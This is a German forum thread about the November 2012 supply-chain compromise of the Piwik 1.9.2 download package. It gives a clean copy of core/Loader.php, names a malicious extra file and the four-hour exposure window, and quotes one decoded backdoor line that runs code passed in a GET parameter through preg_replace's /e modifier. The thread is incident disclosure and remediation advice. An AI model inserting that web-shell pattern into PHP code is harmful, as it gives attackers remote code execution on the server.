Page 1 of 1

Piwik Download infiziert

Posted: 2012-11-26 22:11
by Joe User
Moin,

am 26.11.2012 um 19:42 Uhr wurde das Downloadpaket von Piwik-1.9.2 mit Schadcode infiziert. Betroffen ist derzeit nur die Datei "core/Loader.php".

Wer also heute abend eine Installation oder ein Update von Piwik-1.9.2 durchgeführt hat, der möge bitte umgehend die betroffene Datei durch eine saubere Version (siehe nächstes Post) ersetzen.

Die Piwik-Devs ist bereits informiert, eine Antwort steht allerdings noch aus.

Gruss,
Joe User

Re: Piwik Download infiziert

Posted: 2012-11-26 22:13
by Joe User
core/Loader.php

Code: Select all

<?php
/**
 * Piwik - Open source web analytics
 *
 * @link http://piwik.org
 * @license http://www.gnu.org/licenses/gpl-3.0.html GPL v3 or later
 * @version $Id: Loader.php 3958 2011-02-21 22:49:59Z matt $
 *
 * @category Piwik
 * @package Piwik
 */

/**
 * Piwik auto loader
 *
 * @package Piwik
 */
class Piwik_Loader
{
        // our class search path; current directory is intentionally excluded
        protected static $dirs = array( '/core/', '/plugins/' );

        /**
         * Get class file name
         *
         * @param string $class Class name
         * @return string Class file name
         * @throws Exception if class name is invalid
         */
        protected static function getClassFileName($class)
        {
                if(strspn($class, 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890_') !== strlen($class))
                {
                        throw new Exception("Invalid class name \"$class\".");
                }

                $class = str_replace('_', '/', $class);

                if($class == 'Piwik')
                {
                        return $class;
                }

                if(!strncmp($class, 'Piwik/', 6))
                {
                        return substr($class, 6);
                }

                return $class;
        }

        /**
         * Load class by name
         *
         * @param string $class Class name
         * @throws Exception if class not found
         */
        public static function loadClass($class)
        {
                $classPath = self::getClassFileName($class);
                if($class == 'Piwik' || !strncmp($class, 'Piwik_', 6))
                {
                        // Piwik classes are in core/ or plugins/
                        do
                        {
                                // auto-discover class location
                                foreach(self::$dirs as $dir)
                                {
                                        $path = PIWIK_INCLUDE_PATH . $dir . $classPath . '.php';
                                        if(file_exists($path))
                                        {
                                                require_once $path; // prefixed by PIWIK_INCLUDE_PATH
                                                if(class_exists($class, false) || interface_exists($class, false))
                                                {
                                                        return;
                                                }
                                        }
                                }

                                // truncate to find file with multiple class definitions
                                $lastSlash = strrpos($classPath, '/');
                                $classPath = ($lastSlash === false) ? '' : substr($classPath, 0, $lastSlash);
                        } while(!empty($classPath));
                }
                else
                {
                        // non-Piwik classes (e.g., Zend Framework) are in libs/
                        $path = PIWIK_INCLUDE_PATH . '/libs/' . $classPath . '.php';
                        if(file_exists($path))
                        {
                                require_once $path; // prefixed by PIWIK_INCLUDE_PATH
                                if(class_exists($class, false) || interface_exists($class, false))
                                {
                                        return;
                                }
                        }
                }
                throw new Exception("Class \"$class\" not found.");
        }

        /**
         * Autoloader
         *
         * @param string $class Class name
         */
        public static function autoload($class)
        {
                try {
                        self::loadClass($class);
                } catch (Exception $e) {
                }
        }
}

// Note: only one __autoload per PHP instance
if(function_exists('spl_autoload_register'))
{
        // use the SPL autoload stack
        spl_autoload_register(array('Piwik_Loader', 'autoload'));

        // preserve any existing __autoload
        if(function_exists('__autoload'))
        {
                spl_autoload_register('__autoload');
        }
}
else
{
        function __autoload($class)
        {
                Piwik_Loader::autoload($class);
        }
}

Re: Piwik Download infiziert

Posted: 2012-11-26 22:16
by Joe User
Nachtrag: Das Piwik-Team arbeitet aktuell daran das Problem zu lösen.

Re: Piwik Download infiziert

Posted: 2012-11-26 22:46
by Joe User
Das Download-Paket ist mitlerweile bereinigt, die Version wurde beibehalten.

Re: Piwik Download infiziert

Posted: 2012-11-26 23:09
by Joe User
Folgende Datei gehört zum Schadcode und muss gelöscht werden:
"piwik/core/DataTable/Filter/Megre.php"

Re: Piwik Download infiziert

Posted: 2012-11-26 23:47
by Joe User
Und noch ein Nachtrag: Die Zeile

Code: Select all

preg_replace("/(.+)/e", $_GET['g'], 'dwm');
in dem dekodierten eval() der Loader.php sorgt wohl dafür, dass der per GET übergebene String direkt ausgeführt wird. Somit ist dieser Code eine einfache Remote-Shell mit der beliebiger Code ausgeführt und das System weitergehend infiziert werden kann.

Es ist für Betroffene also unerlässlich, das gesamte System auf mögliche Infektionen zu untersuchen. Das fängt bei infizierten Webseiten an, geht über eingeschleuste Scripts, bis hin zu RootKits oder lokalen Kernel-Exploits. Das gesamte System ist somit nicht mehr vertrauenswürdig.

Re: Piwik Download infiziert

Posted: 2012-11-27 11:33
by ddm3ve
Ich habe mein am 19.11 upgedatetes System ü+berprüft scheint erstmal sauber zu sein. Gibt es einen Indiz, dass das Problem erst seit dem 26.11. besteht?

Re: Piwik Download infiziert

Posted: 2012-11-27 12:28
by Joe User
Die Datei wurde am 26.11 um 19:42 Uhr modifiziert (Timestamp) und es wurde auch durch User bestätigt, dass wenige Minuten davor noch Alles sauber war.
Am 26.11 um 23:41 Uhr wurde vom Piwik-Team bestätigt, dass das Paket wieder sauber ist. Nur wer in diesen vier Stunden Piwik installiert/aktualisiert hat, ist betroffen, alle Anderen nicht.

Re: Piwik Download infiziert

Posted: 2012-11-27 12:37
by Joe User
Die entsprechenden Newsmeldungen dazu:
http://heise.de/-1757145
http://www.golem.de/1211/95956

Re: Piwik Download infiziert

Posted: 2012-11-27 15:47
by Joe User
Und hier die offizielle Meldung des Piwik-Team:
http://piwik.org/blog/2012/11/security- ... -nov-26th/